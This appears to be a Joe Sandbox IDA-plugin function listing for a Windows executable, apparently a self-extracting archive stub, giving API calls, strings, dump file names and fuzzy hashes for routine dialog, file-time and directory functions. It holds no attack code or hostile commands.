Part of subcall function 00007FF7F4D7E92C: GetMessageW.USER32 ref: 00007FF7F4D7E959
Part of subcall function 00007FF7F4D7E92C: IsDialogMessageW.USER32 ref: 00007FF7F4D7E970
Part of subcall function 00007FF7F4D7E92C: TranslateMessage.USER32 ref: 00007FF7F4D7E97F
Part of subcall function 00007FF7F4D7E92C: DispatchMessageW.USER32 ref: 00007FF7F4D7E98A

GetDlgItem.USER32 ref: 00007FF7F4D82BF3
ShowWindow.USER32 ref: 00007FF7F4D82C19
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C2E
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C46
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C67
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82C83
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CC6
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CE4
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82CF8
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82D22
IsDlgButtonChecked.USER32 ref: 00007FF7F4D82D3A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ButtonChecked$Message$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 4119318379-0
Opcode ID: 69e24ba9009fcb1a64d7301b465f30633956cb9a0fdcdd683f7332429d64cc7a
Instruction ID: 795a19dfe972946075a87b42ad511d76ee2a7724186dc0cfdd8fbdb62ece9544
Opcode Fuzzy Hash: 69e24ba9009fcb1a64d7301b465f30633956cb9a0fdcdd683f7332429d64cc7a
Instruction Fuzzy Hash: 6541CE35B2464287F720AF62E850BE9B361FB49B98F804135DF2A47BE5CE3DD44587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D72154 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7F4D7215F

Strings

zip, xrefs: 00007FF7F4D72EFF
map/set too long, xrefs: 00007FF7F4D72158
zx01, xrefs: 00007FF7F4D72DC1
AES-0017, xrefs: 00007FF7F4D727CB
z01, xrefs: 00007FF7F4D72DC8
zipx, xrefs: 00007FF7F4D72EF8
[c^[, xrefs: 00007FF7F4D72690, 00007FF7F4D732E7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: AES-0017$[c^[$map/set too long$z01$zip$zipx$zx01
API String ID: 909987262-2988828694
Opcode ID: e98891d6ad104e19ab9c5c76874faf8a4a553f04b34342c29c2764dde47c1347
Instruction ID: 58e0cdc03f3b26d005e744e07c7091e9a2d27c6bb85a4d0f0cfc4e0b9a17b29c
Opcode Fuzzy Hash: e98891d6ad104e19ab9c5c76874faf8a4a553f04b34342c29c2764dde47c1347
Instruction Fuzzy Hash: 41B0925890400D82E62CBB82CC9107463209B14740F900C3083288F891093870424256

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D646A0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF7F4D6477B
GetLastError.KERNEL32 ref: 00007FF7F4D6478E
CreateFileW.KERNEL32 ref: 00007FF7F4D647EE
GetLastError.KERNEL32 ref: 00007FF7F4D647F7
SetFileTime.KERNEL32 ref: 00007FF7F4D648A9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D64916

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 39edef82397ba72a43b4f373ecc1f356af9409ce81394d3c0888f0e682ff87ce
Instruction ID: 05be47834f1ebd67bad36b1b85039e30d3154b2d872029aa0186ebbefea2a2b1
Opcode Fuzzy Hash: 39edef82397ba72a43b4f373ecc1f356af9409ce81394d3c0888f0e682ff87ce
Instruction Fuzzy Hash: DB61C366A19B8196E7209F2AE48036EB7A1B7857A8F501334DFBD03AD4CF3DD094C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6E77C Relevance: 9.1, APIs: 6, Instructions: 80
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF7F4D6E7E0

Part of subcall function 00007FF7F4D66768: GetVersionExW.KERNEL32 ref: 00007FF7F4D66799

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7F4D6E802
FileTimeToSystemTime.KERNEL32 ref: 00007FF7F4D6E80E
TzSpecificLocalTimeToSystemTime.KERNELBASE ref: 00007FF7F4D6E81E
SystemTimeToFileTime.KERNEL32 ref: 00007FF7F4D6E82C
SystemTimeToFileTime.KERNEL32 ref: 00007FF7F4D6E83A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: e045fec339b82cfcbd76d1d976abdda53ec1060d8e03499549cf22dc3b3cc608
Instruction ID: a550c0849e1e13424cf3447d36881a6674753e50f1cc50e2a2ec81ee36e638d4
Opcode Fuzzy Hash: e045fec339b82cfcbd76d1d976abdda53ec1060d8e03499549cf22dc3b3cc608
Instruction Fuzzy Hash: 1E314962B10A55DAFB00DFB6D8801AC7370FB18758B94503AEF1DA3A98EA38D495C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D837D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF7F4D83807
SetEnvironmentVariableW.KERNELBASE ref: 00007FF7F4D83880
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D838DF

Strings

sfxcmd, xrefs: 00007FF7F4D83800
sfxpar, xrefs: 00007FF7F4D83879

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 2bc299da20fbec87d704cc9bab44ddf9c5bd5a2a6beedb7dd826ddad9008950f
Instruction ID: 099624d814b7de609d3745b46211a90618794e614b8e6c88009325edf43175b0
Opcode Fuzzy Hash: 2bc299da20fbec87d704cc9bab44ddf9c5bd5a2a6beedb7dd826ddad9008950f
Instruction Fuzzy Hash: 18317262A14A4985EF04AF6AE8C41BCB371FB48B98F840135DF6D17BE5CE38D041C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7EB24 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF7F4D7EB3A
GetObjectW.GDI32 ref: 00007FF7F4D7EB6B
DeleteObject.GDI32 ref: 00007FF7F4D7EBA5
DeleteObject.GDI32 ref: 00007FF7F4D7EBD5

Part of subcall function 00007FF7F4D7C220: FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C239
Part of subcall function 00007FF7F4D7C220: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C255
Part of subcall function 00007FF7F4D7C220: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C26F
Part of subcall function 00007FF7F4D7C220: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7F4D844D7), ref: 00007FF7F4D7C281
Part of subcall function 00007FF7F4D7C220: GlobalAlloc.KERNELBASE ref: 00007FF7F4D7C2A2
Part of subcall function 00007FF7F4D7C220: GlobalLock.KERNEL32 ref: 00007FF7F4D7C2B7
Part of subcall function 00007FF7F4D7C220: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7F4D7C365
Part of subcall function 00007FF7F4D7C220: GlobalUnlock.KERNEL32 ref: 00007FF7F4D7C388
Part of subcall function 00007FF7F4D7C220: GlobalFree.KERNEL32 ref: 00007FF7F4D7C391

Strings

], xrefs: 00007FF7F4D7EB73

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: GlobalResource$Object$BitmapDeleteLoadLock$AllocCreateFindFreeFromGdipSizeofUnlock
String ID: ]
API String ID: 1428510222-3352871620
Opcode ID: 167604b5f0df72b06740ca993f35d2c5df04121dc076d528af12ba987f99282d
Instruction ID: d9db3a9e523ee4ba1f674aee276b02047cf0ed43011ce588165d9c20b01e6206
Opcode Fuzzy Hash: 167604b5f0df72b06740ca993f35d2c5df04121dc076d528af12ba987f99282d
Instruction Fuzzy Hash: 78113D21B1964247EB24BF53E694379F691BF88BC0F980034DB6E47BC5EE2CE80486D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7E92C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF7F4D7E942
GetMessageW.USER32 ref: 00007FF7F4D7E959
IsDialogMessageW.USER32 ref: 00007FF7F4D7E970
TranslateMessage.USER32 ref: 00007FF7F4D7E97F
DispatchMessageW.USER32 ref: 00007FF7F4D7E98A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 7cff314f2ed7f30e3d95f64182e7aea28787e66a788d380f9b90687b6d32506f
Instruction ID: e0ba10cfe4a95120bc968fafa69db353b3d97abbcd575063ff3574cea374b1a2
Opcode Fuzzy Hash: 7cff314f2ed7f30e3d95f64182e7aea28787e66a788d380f9b90687b6d32506f
Instruction Fuzzy Hash: 1CF0EC26A3895283EBA0AF22E895BB6B360FFD4705FC05435E75E418D4EF2CD109CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D75384 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D75657
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7565D

Part of subcall function 00007FF7F4D66288: FindClose.KERNELBASE(?,?,?,00007FF7F4D6FF61), ref: 00007FF7F4D662BD

Part of subcall function 00007FF7F4D71D98: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7F4D71DED

Strings

zip, xrefs: 00007FF7F4D7548B
zipx, xrefs: 00007FF7F4D75484

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFindswprintf
String ID: zip$zipx
API String ID: 2713956076-1268445101
Opcode ID: 350b18cfa5000158da6409a18723ffc0cc97e648f0802e28871945a013b048c9
Instruction ID: 9113be76405b31f429f4f53491a4b031da2e56153bce29932bda6a49b2e2f754
Opcode Fuzzy Hash: 350b18cfa5000158da6409a18723ffc0cc97e648f0802e28871945a013b048c9
Instruction Fuzzy Hash: 3B815E62B19A0686FB10AF67E8D41BCB361BB44B94F904235DB3C56BD5DE3CA446C2A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7CDE4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF7F4D7CE0D
SHAutoComplete.SHLWAPI ref: 00007FF7F4D7CE51

Part of subcall function 00007FF7F4D70A5C: CompareStringW.KERNEL32(?,?,00007FF7F4D66C19), ref: 00007FF7F4D70A7B

FindWindowExW.USER32 ref: 00007FF7F4D7CE3B

Strings

EDIT, xrefs: 00007FF7F4D7CE17, 00007FF7F4D7CE2F

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 57866ba5747fa0bc54567b454ab76e14fed8a2762cd959d95fef1a34dd28749e
Instruction ID: 1afc63fbbb4a72625cc284c14fc8043b32921da2993cddda87323948cf9d06c0
Opcode Fuzzy Hash: 57866ba5747fa0bc54567b454ab76e14fed8a2762cd959d95fef1a34dd28749e
Instruction Fuzzy Hash: 18016211B18A8687FB20AF13E8917B5B390BF98B90FC41035CB6D466D5EE2CD144C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64E18 Relevance: 6.1, APIs: 4, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7F4D64E5A
WriteFile.KERNEL32 ref: 00007FF7F4D64EA4
WriteFile.KERNELBASE ref: 00007FF7F4D64ED2

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 198ec95fdca56b07638f3989dee28626353a88267a5440f38149c32074972865
Instruction ID: 17f8f496aabaf8963cd7f82a42a65e824997547f21609bdb9a03ce507d60426d
Opcode Fuzzy Hash: 198ec95fdca56b07638f3989dee28626353a88267a5440f38149c32074972865
Instruction Fuzzy Hash: 1751C622B19A46E3EB10AF16D984379B360FB44BA4F804135EB2D46AD5DF7CE484C794

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D700DC Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32 ref: 00007FF7F4D83DCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D83E39
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D83E3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D83E45

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ItemText
String ID:
API String ID: 3750147219-0
Opcode ID: ff066cf56c5e69ddb7090736cc2ebf1f58eb2cd748bbb34f3e06e5bd728184c4
Instruction ID: 5fa6ec5686edea0a77c8b9753b0faaf462896758e39697c0f3d8099d5b90fe7f
Opcode Fuzzy Hash: ff066cf56c5e69ddb7090736cc2ebf1f58eb2cd748bbb34f3e06e5bd728184c4
Instruction Fuzzy Hash: 8951A162F14A5186FF00AFA6D4843BDB322BB45BA4F940635DB3C16BD6DF6DE44183A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D864FC Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7F4D8650B

Part of subcall function 00007FF7F4D85F84: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7F4D85FA6

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7F4D86520
__scrt_release_startup_lock.LIBCMT ref: 00007FF7F4D8658E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7F4D865E1

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 4d6aa7c42a5cbf6dc14c95ac2672eed8dd3b5ce1cb67293262dad9321be47a97
Instruction ID: 86009aebc825fd2d4955cbcc18574e2025a0e83877a93b034ae02af1a4bfef3a
Opcode Fuzzy Hash: 4d6aa7c42a5cbf6dc14c95ac2672eed8dd3b5ce1cb67293262dad9321be47a97
Instruction Fuzzy Hash: 39311220A0924647FB64BF27D8D63B9B280BF51794FC44079EB2E4B3D7DE2CA40582E1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D65C60 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF7F4D65671), ref: 00007FF7F4D65CAA
CreateDirectoryW.KERNEL32 ref: 00007FF7F4D65D0F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF7F4D65671), ref: 00007FF7F4D65D6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D65DAA

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: c27b3ec1c54589369261def9b82eaca4eaf4addb5aa5b689ce4d6dc2e2751d6c
Instruction ID: 8762afcf04e1576328eb789f5843fcf4367cb2910aa94b2191adfde0b7a63170
Opcode Fuzzy Hash: c27b3ec1c54589369261def9b82eaca4eaf4addb5aa5b689ce4d6dc2e2751d6c
Instruction Fuzzy Hash: 84319422A18A46D3FB20AF26F4E927DB351FB85790FD50231EBAD426D5DF2CD4818690

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D64520 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7F4D64548
ReadFile.KERNELBASE ref: 00007FF7F4D64567
GetLastError.KERNEL32 ref: 00007FF7F4D6459B
GetLastError.KERNEL32 ref: 00007FF7F4D645BA

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
